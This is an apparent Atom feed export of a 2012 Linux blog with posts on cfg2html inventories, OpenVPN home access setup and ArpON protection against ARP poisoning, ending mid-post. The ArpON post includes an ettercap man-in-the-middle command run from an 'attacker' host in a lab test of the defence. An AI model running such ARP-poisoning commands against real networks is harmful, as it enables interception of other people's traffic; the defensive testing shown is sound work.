<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1494477346885932431</id><updated>2012-01-30T23:08:30.980+01:00</updated><category term='Personal'/><category term='Linux tools'/><category term='VPN'/><category term='Data storage'/><category term='Windows tools'/><category term='Performance'/><category term='Backup'/><category term='Load balancing'/><category term='Clusters'/><category term='Troubleshooting'/><category term='Networking'/><category term='High availability'/><category term='Operating systems'/><category term='Virtualization'/><category term='Databases'/><category term='Security'/><category term='Web servers'/><category term='Monitoring'/><category term='Theory'/><category term='Cloud computing'/><title type='text'>Redes Privadas Virtuales</title><subtitle type='html'>Blog about Linux, networking, security, virtualization, monitoring, data storage and so on</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default?start-index=101&amp;max-results=100'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>181</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8030570662185806401</id><published>2012-01-30T23:08:00.001+01:00</published><updated>2012-01-30T23:08:25.773+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Inventorying your system with cfg2html</title><content type='html'>&lt;a href="http://www.cfg2html.com/"&gt;Cfg2html&lt;/a&gt; is a powerful tool available for Linux which performs an exhaustive inventory of the entire system, by creating a HTML or plain ASCII file which reflects all the features (both hardware and software) of the system, such as applications, kernel, modules and libraries, networking, filesystems and so on.&lt;br /&gt;&lt;br /&gt;I am used to utilizating this tool each time that I install a Linux system, in order to write down a full record of it, and besides, I usually program a task to repeat this action periodically.&lt;br /&gt;&lt;br /&gt;I am going to try out this tool (version 2.37) in this article on a CentOS 6.2 distribution (it is valid for any Linux system too), by downloading its source code and using the script included in the package. You also have the option of installing those scripts into the operating system (by means of the rpm package), but I am think that it is not necessary due to you can use directly the corresponding script.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos tmp]# wget http://www.cfg2html.com/cfg2html-linux-2.37-20111229_all.zip&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# unzip cfg2html-linux-2.37-20111229_all.zip&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# tar xvzf cfg2html-linux_2.37-1.tar.gz ; cd cfg2html-linux-2.37&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After unpacking it, we may run the &lt;span style="font-style: italic;"&gt;cfg2html-linux&lt;/span&gt; script to carry out the inventory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos cfg2html-linux-2.37]# ./cfg2html-linux&lt;br /&gt;&lt;br /&gt;--=[ http://come.to/cfg2html ]=-----------------------------------------------&lt;br /&gt;Starting          cfg2html-linux version 2.37-2011-12-28&lt;br /&gt;Path to Cfg2Html  ./cfg2html-linux&lt;br /&gt;HTML Output File  ./centos.local.html&lt;br /&gt;Text Output File  ./centos.local.txt&lt;br /&gt;Partitions        ./centos.local.partitions.save&lt;br /&gt;Errors logged to  ./centos.local.err&lt;br /&gt;Started at        2012-01-30 21:31:19&lt;br /&gt;WARNING           USE AT YOUR OWN RISK!!! :-))           &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;br /&gt;--=[ http://come.to/cfg2html ]=-----------------------------------------------&lt;br /&gt;&lt;br /&gt;Collecting:  Linux System CentOS release 6.2 (Final)  .................................&lt;br /&gt;Collecting:  Cron and At  .....&lt;br /&gt;Collecting:  Hardware  .................&lt;br /&gt;Collecting:  Software  .......&lt;br /&gt;Collecting:  Filesystems, Dump- and Swapconfiguration  ..........&lt;br /&gt;Collecting:  Multipath Configuration  ........&lt;br /&gt;Collecting:  LVM  ............&lt;br /&gt;Collecting:  Network Settings  ................................&lt;br /&gt;Collecting:  Kernel, Modules and Libraries  ...............&lt;br /&gt;Collecting:  System Enhancements  .&lt;br /&gt;Collecting:  Applications and Subsystems  .....&lt;br /&gt;&lt;br /&gt;--=[ http://come.to/cfg2html ]=-----------------------------------------------&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;At the end of the collecting process, you will have an HTML and txt file with the result of the audit. Any problem occured during the gathering process, will be warn into the err file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos cfg2html-linux-2.37]# ls -l centos.local.*&lt;br /&gt;-rw-r--r--. 1 root root   8410 Jan 30 21:31 centos.local.err&lt;br /&gt;-rw-r--r--. 1 root root 213406 Jan 30 21:31 centos.local.html&lt;br /&gt;-rw-r--r--. 1 root root    259 Jan 30 21:31 centos.local.partitions.save&lt;br /&gt;-rw-r--r--. 1 root root 182348 Jan 30 21:31 centos.local.txt&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;For example, next figure shows the HTML output.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-psD4o93Ek1g/TycQxLMDBEI/AAAAAAAAAAQ/aRH-4lpvC7Y/s1600/Inventorying+your+system+with+cfg2html.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="388" src="http://4.bp.blogspot.com/-psD4o93Ek1g/TycQxLMDBEI/AAAAAAAAAAQ/aRH-4lpvC7Y/s640/Inventorying+your+system+with+cfg2html.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Finally, also say that it is a good idea to create a crontab task so as to get these data for instance weekly and back up them.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8030570662185806401?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8030570662185806401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/inventorying-your-system-with-cfg2html.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8030570662185806401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8030570662185806401'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/inventorying-your-system-with-cfg2html.html' title='Inventorying your system with cfg2html'/><author><name>Javier Andrés Alonso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-psD4o93Ek1g/TycQxLMDBEI/AAAAAAAAAAQ/aRH-4lpvC7Y/s72-c/Inventorying+your+system+with+cfg2html.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4721762206351433361</id><published>2012-01-22T19:02:00.003+01:00</published><updated>2012-01-22T19:02:32.474+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><title type='text'>Secure remote access to home through OpenVPN (III)</title><content type='html'>Let's end up the series of articles about my secure remote access to home through OpenVPN. In the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/12/secure-remote-access-to-home-through.html"&gt;first part&lt;/a&gt;, I had to get over the issue about the dynamic IP address used by my ADSL service. I overcame it by using a free dynamic DNS service: DNSdynamic. In the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2012/01/secure-remote-access-to-home-through.html"&gt;second one&lt;/a&gt;, I relied on easy-rsa in order to generate the suitable digital certificates.&lt;br /&gt;&lt;br /&gt;Now, we are ready to set OpenVPN up in both sides of the connection: the client and server. First up, let's begin with the server by installing OpenVPN directly from the Ubuntu repositories. Then, we have to copy the appropiate certificates made up by easy-rsa into the openvpn directory, and finally, edit the OpenVPN configuration file for the server.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# aptitude install openvpn&lt;br /&gt;&lt;br /&gt;root@javi-pc:/home/javi/tmp/2.0/keys# cp ca.crt server.crt server.key dh1024.pem /etc/openvpn/&lt;br /&gt;&lt;br /&gt;root@javi-pc:/home/javi# cat /etc/openvpn/server.conf&lt;br /&gt;# Use a dynamic TUN device&lt;br /&gt;dev tun&lt;br /&gt;&lt;br /&gt;# Set virtual point-to-point IP addresses&lt;br /&gt;ifconfig 10.0.0.1 10.0.0.2&lt;br /&gt;&lt;br /&gt;# Use TCP for communicating with client&lt;br /&gt;proto tcp-server&lt;br /&gt;&lt;br /&gt;# Enable TLS and assume server role during TLS handshake&lt;br /&gt;tls-server&lt;br /&gt;&lt;br /&gt;# File containing Diffie Hellman parameters&lt;br /&gt;dh /etc/openvpn/dh1024.pem&lt;br /&gt;&lt;br /&gt;# Certificate authority (CA) file&lt;br /&gt;ca /etc/openvpn/ca.crt&lt;br /&gt;&lt;br /&gt;# Local peer's signed certificate&lt;br /&gt;cert /etc/openvpn/server.crt&lt;br /&gt;&lt;br /&gt;# Local peer's private key&lt;br /&gt;key /etc/openvpn/server.key&lt;br /&gt;&lt;br /&gt;# Use fast LZO compression&lt;br /&gt;comp-lzo&lt;br /&gt;&lt;br /&gt;# Ping remote every 10sg and restart after 60sg passed without sign of life from remote&lt;br /&gt;keepalive 10 60&lt;br /&gt;&lt;br /&gt;# Output logging messages to openvpn.log file&lt;br /&gt;log /var/log/openvpn.log&lt;br /&gt;&lt;br /&gt;# Set output verbosity to normal usage range&lt;br /&gt;verb 3&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we only have to start the OpenVPN daemon and afterwards, we will be able to appreciate that the service is running on TCP port 1194. A final task will be to open that port on the router and redirect all that traffic to the server.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi# /etc/init.d/openvpn start&lt;br /&gt;&lt;br /&gt;root@javi-pc:/home/javi# netstat -natp | grep openvpn&lt;br /&gt;tcp        0      0 0.0.0.0:1194            0.0.0.0:*               LISTEN    19781/openvpn&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Let's undertake now the other side of the tunnel: the client. It will be necessary as well to install OpenVPN from the Ubuntu repositories and move into the openvpn directory the adequate digital certificates.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-laptop:~# aptitude install openvpn&lt;br /&gt;&lt;br /&gt;root@javi-laptop:~# cat /etc/openvpn/client.conf&lt;br /&gt;# Use a dynamic TUN device&lt;br /&gt;dev tun&lt;br /&gt;&lt;br /&gt;# Connect to server&lt;br /&gt;remote test.dnsdynamic.com&lt;br /&gt;&lt;br /&gt;# Set virtual point-to-point IP addresses&lt;br /&gt;ifconfig 10.0.0.2 10.0.0.1&lt;br /&gt;&lt;br /&gt;# Use TCP for communicating with server&lt;br /&gt;proto tcp-client&lt;br /&gt;&lt;br /&gt;# Enable TLS and assume client role during TLS handshake&lt;br /&gt;tls-client&lt;br /&gt;&lt;br /&gt;# Certificate designed as a server-only certificate&lt;br /&gt;remote-cert-tls server&lt;br /&gt;&lt;br /&gt;# Certificate authority (CA) file&lt;br /&gt;ca /etc/openvpn/ca.crt&lt;br /&gt;&lt;br /&gt;# Local peer's signed certificate&lt;br /&gt;cert /etc/openvpn/client.crt&lt;br /&gt;&lt;br /&gt;# Local peer's private key&lt;br /&gt;key /etc/openvpn/client.key&lt;br /&gt;&lt;br /&gt;# Use fast LZO compression&lt;br /&gt;comp-lzo&lt;br /&gt;&lt;br /&gt;# Ping remote every 10sg and restart after 60sg passed without sign of life from remote&lt;br /&gt;keepalive 10 60&lt;br /&gt;&lt;br /&gt;# Output logging messages to openvpn.log file&lt;br /&gt;log /var/log/openvpn.log&lt;br /&gt;&lt;br /&gt;# Set output verbosity to normal usage range&lt;br /&gt;verb 3&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Lastly, we must remove any link in the runlevel directory for the OpenVPN script, so as to launch it manually whenever we want.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-laptop:~# update-rc.d -f openvpn remove&lt;br /&gt;&lt;br /&gt;root@javi-laptop:~# /etc/init.d/openvpn start&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4721762206351433361?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4721762206351433361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/secure-remote-access-to-home-through_22.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4721762206351433361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4721762206351433361'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/secure-remote-access-to-home-through_22.html' title='Secure remote access to home through OpenVPN (III)'/><author><name>Javier Andrés Alonso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1336598971842575201</id><published>2012-01-14T00:33:00.004+01:00</published><updated>2012-01-14T00:33:28.290+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>Shutting out ARP poisoning and spoofing with ArpON</title><content type='html'>Based on the series of articles that I wrote about ARP poisoning (&lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html"&gt;I&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-ii.html"&gt;II&lt;/a&gt; and &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-iii_15.html"&gt;III&lt;/a&gt;), I would like to put forward a great tool, &lt;a href="http://arpon.sourceforge.net/"&gt;ArpON&lt;/a&gt; (&lt;i&gt;Arp handler inspectiON&lt;/i&gt;), aimed at protecting us against ARP poisoning, spoofing and routing, by preventing attacks as the Man in the Middle (MitM). It also avoids from derived attacks such as&amp;nbsp;DNS and WEB spoofing, and session and SSL/TLS hijacking.&lt;br /&gt;&lt;br /&gt;This is the typical program that I always install on any Linux computer, since it is essential in order to shut out any type of attack commented above. And furthermore, it is really meaningful when you get around and have to connect your laptop to some untrusted network, such as inside a library, pub, airport and so on.&lt;br /&gt;&lt;br /&gt;ArpON uses two kinds of methods: DARPI (&lt;i&gt;Dynamic Arp Inspection&lt;/i&gt;) and SARPI (&lt;i&gt;Static Arp Inspection&lt;/i&gt;). With the second technique, you have to register into a configuration file, the MAC and IP address of each computer which you rely. This may be a hard task when you have got lots of devices in your network. In return, DARPI follows up all incoming and outgoing ARP packets.&lt;br /&gt;&lt;br /&gt;In this article, I am going to set up DARPI on Ubuntu 11.10. I will install ArpON from the official repository (version 2.0). It is a pity because this version came out last year and I cannot understand why it has not been updated in the last release of Ubuntu.&amp;nbsp;The current version which you can download from the ArpON web site is 2.7.&lt;br /&gt;&lt;br /&gt;In PCs or laptops, I prefer to install it from the Ubuntu repositories, due to it will be automatically upgraded (in theory) with each new release of Ubuntu. Instead, on production servers, it pays off to compile it from its source code so as to have the latest version.&lt;br /&gt;&lt;br /&gt;Ok, so we are going to install ArpON and put it into DARPI mode. In addition, ArpON will be automatically started during the boot.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@victim:~# aptitude install arpon&lt;br /&gt;&lt;br /&gt;root@victim:~# cat /etc/default/arpon&lt;br /&gt;...&lt;br /&gt;# For DARPI uncomment the following line&lt;br /&gt;DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"&lt;br /&gt;&lt;br /&gt;# Modify to RUN="yes" when you are ready&lt;br /&gt;RUN="yes"&lt;br /&gt;&lt;br /&gt;root@victim:~# /etc/init.d/arpon start&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;First up, we are going to take a look at the ARP table of the &lt;i&gt;victim&lt;/i&gt; (remember the involved computers were presented in the first article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html"&gt;ARP poisoning&lt;/a&gt;). As you can pick out, the dependable addresses are tagged as PERM (permanent).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@victim:~# arp -a&lt;br /&gt;? (192.168.1.150) at 00:80:5a:54:32:67 [ether] PERM on eth0&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] PERM on eth0&lt;br /&gt;? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] PERM on eth0&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we observe the log turned out by ArpON at the beginning, it first of all cleans up the ARP cache by removing all entries, in order to avoid that the table is poisoned.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@victim:~# tail -f /var/log/arpon/arpon.log&lt;br /&gt;  17:55:00 - Wait link connection on eth0...&lt;br /&gt;  17:55:12 - DARPI on dev(eth0) inet(192.168.1.10) hw(0:c:29:69:81:47)&lt;br /&gt;  17:55:12 - Deletes these Arp Cache entries:&lt;br /&gt;  17:55:12 - 1)   192.168.1.150 -&amp;gt;  0:80:5a:54:32:67&lt;br /&gt;  17:55:12 - 2)     192.168.1.1 -&amp;gt;  0:60:b3:50:ab:45&lt;br /&gt;  17:55:12 - 3)    192.168.1.11 -&amp;gt;   0:c:29:18:36:e6&lt;br /&gt;  17:55:12 - Cache entry timeout: 500 milliseconds.&lt;br /&gt;  17:55:12 - Realtime Protect actived!&lt;br /&gt;  17:55:46 - Request &amp;gt;&amp;gt; Add entry 192.168.1.150&lt;br /&gt;  17:55:46 - Reply   &amp;lt;&amp;lt; Refresh entry 192.168.1.150 -&amp;gt; 0:80:5a:54:32:67&lt;br /&gt;  17:55:47 - Request &amp;gt;&amp;gt; Add entry 192.168.1.1&lt;br /&gt;  17:55:47 - Reply   &amp;lt;&amp;lt; Refresh entry 192.168.1.1 -&amp;gt; 0:60:b3:50:ab:45&lt;br /&gt;  17:55:58 - Request &amp;lt;&amp;lt; Delete entry 192.168.1.150 -&amp;gt; 0:80:5a:54:32:67&lt;br /&gt;  17:55:58 - Reply   &amp;gt;&amp;gt; Send to 192.168.1.150 -&amp;gt; 0:80:5a:54:32:67&lt;br /&gt;  17:55:58 - Request &amp;gt;&amp;gt; Add entry 192.168.1.150&lt;br /&gt;  17:55:58 - Reply   &amp;lt;&amp;lt; Refresh entry 192.168.1.150 -&amp;gt; 0:80:5a:54:32:67&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;To sum up the running of ArpON into DARPI mode, first point out that ArpON handles its own ARP table called DARPI cache, by&amp;nbsp;applying several rules to different kinds of&amp;nbsp;packets.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ARP request&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;For the outbound traffic (packets generated by us),&amp;nbsp;ArpON lets them pass, by adding an entry with the target into the DARPI cache. For the inbound traffic (packets which come to us from the network),&amp;nbsp;ArpON refuses the packet, by deleting the entry of the source address written down into the ARP cache, because that packet could be poisoned.&amp;nbsp;Later, the kernel will send out an ARP request so as to make sure the origin.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ARP reply&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;For the outgoing traffic,&amp;nbsp;ArpON just lets them pass. For the incoming traffic,&amp;nbsp;ArpON verifies whether the source address matches an entry in the DARPI cache. If so, it lets the packet get in, by adding an entry into the ARP cache. Otherwise, it denies&amp;nbsp;the packet, by removing the entry from the ARP cache.&lt;br /&gt;&lt;br /&gt;To begin with the test, we are going to run a MitM attack between the &lt;i&gt;router&lt;/i&gt; and the &lt;i&gt;victim&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we review the ArpON log again, we can see that the poisoning attempts from the &lt;i&gt;attacker&lt;/i&gt;&amp;nbsp;are correctly rejected.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@victim:~# tail -f /var/log/arpon/arpon.log&lt;br /&gt;...&lt;br /&gt;192.168.1.1 -&amp;gt; 0:c:29:20:9f:9b&lt;br /&gt;  18:13:16 - Reply   &amp;lt;&amp;lt; Delete entry&lt;br /&gt;192.168.1.1 -&amp;gt; 0:c:29:20:9f:9b&lt;br /&gt;  18:13:17 - Reply   &amp;lt;&amp;lt; Delete entry&lt;br /&gt;192.168.1.1 -&amp;gt; 0:c:29:20:9f:9b&lt;br /&gt;  18:13:18 - Reply   &amp;lt;&amp;lt; Delete entry&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You may likewise check out this situation by activating the &lt;i&gt;chk_poison&lt;/i&gt; plugin through the same ettercap.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/&lt;br /&gt;...&lt;br /&gt;Plugin name (0 to quit): chk_poison&lt;br /&gt;Activating chk_poison plugin...&lt;br /&gt;&lt;br /&gt;chk_poison: Checking poisoning status...&lt;br /&gt;chk_poison: No poisoning between 192.168.1.10 -&amp;gt; 192.168.1.1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Another way is to print the ARP cache again. As you can distinguish, a new entry relative to the attacker has been added, and the other ones keep in the same state.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@victim:~# arp -a&lt;br /&gt;? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] PERM on eth0&lt;br /&gt;? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] PERM on eth0&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] PERM on eth0&lt;br /&gt;? (192.168.1.150) at 00:80:5a:54:32:67 [ether] PERM on eth0&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1336598971842575201?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1336598971842575201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/shutting-out-arp-poisoning-and-spoofing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1336598971842575201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1336598971842575201'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/shutting-out-arp-poisoning-and-spoofing.html' title='Shutting out ARP poisoning and spoofing with ArpON'/><author><name>Javier Andrés Alonso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8576489235156302826</id><published>2012-01-06T18:03:00.002+01:00</published><updated>2012-01-06T18:14:10.268+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><title type='text'>Secure remote access to home through OpenVPN (II)</title><content type='html'>Let's get started by running the &lt;i&gt;vars&lt;/i&gt;&amp;nbsp;script, in order to set the parameters (openssl.cnf file, size, country, city, email, etc.)&amp;nbsp;used by the other scripts. In addition, we must execute the &lt;i&gt;clean-all&lt;/i&gt; script as well, which takes care of preparing and initializing the &lt;i&gt;keys&lt;/i&gt; directory, place where new certificates, requests, private keys, etc. are stored.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# . ./vars&lt;br /&gt;&lt;br /&gt;root@javi-pc:/home/javi/tmp/2.0# . ./clean-all&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After getting ready the environment, the next step will be to create a CA (Certification Authority), that is to say, a root certificate and private key whereby we will be able to make and sign certificates later.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# . ./build-ca&lt;br /&gt;Generating a 1024 bit RSA private key&lt;br /&gt;.++++++&lt;br /&gt;...................................++++++&lt;br /&gt;writing new private key to 'ca.key'&lt;br /&gt;-----&lt;br /&gt;You are about to be asked to enter information that will be incorporated&lt;br /&gt;into your certificate request.&lt;br /&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;There are quite a few fields but you can leave some blank&lt;br /&gt;For some fields there will be a default value,&lt;br /&gt;If 